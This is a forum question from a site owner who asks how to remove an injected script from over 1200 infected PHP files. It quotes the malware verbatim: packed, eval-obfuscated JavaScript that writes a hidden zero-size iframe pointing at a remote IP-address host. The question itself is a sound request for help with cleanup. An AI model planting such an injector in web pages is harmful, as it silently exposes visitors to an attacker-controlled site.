title: How can i remove an iframe virus from all of php files on my website
body: <p>I have a problem about removing a virus code from my php files. There are more than 1200 php files in my server and every single php file has been infected by a virus. Virus code adding this line to html output</p>
  
  <p>here the virus code :</p>
  
  <pre><code>&lt;tag5479347351&gt;&lt;/tag5479347351&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\"&gt;";1 5="&lt;8";1 7="p";1 4="e";1 b="&lt;/8";1 a="e&gt;";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))&lt;/script&gt;&lt;tag5479347352&gt;&lt;/tag5479347352&gt;
  </code></pre>
  
  <p>Above code in every single php file. How can i remove this virus code from every php file ? Is there a quick way for doing it?</p>